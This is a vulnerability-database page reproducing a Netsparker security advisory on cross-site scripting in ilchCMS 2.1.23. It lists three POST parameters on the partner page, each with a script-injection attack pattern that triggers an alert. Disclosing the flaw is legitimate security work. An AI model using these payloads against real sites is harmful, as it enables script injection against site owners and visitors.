ilchCMS 2.1.23 Cross Site Scripting - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1811715 漏洞类型
发布时间 2019-11-05 更新时间 2019-11-05
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019110021
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23
Affected Software: ilchCMS
Affected Versions: 2.1.23
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-016

Technical Details
--------------------

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Link
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Name
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Banner
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

Note

   - Auth: No
   - Token: Yes


For more information:
https://www.netsparker.com/web-applications-advisories/ns-19-016-cross-site-scripting-in-ilchcms/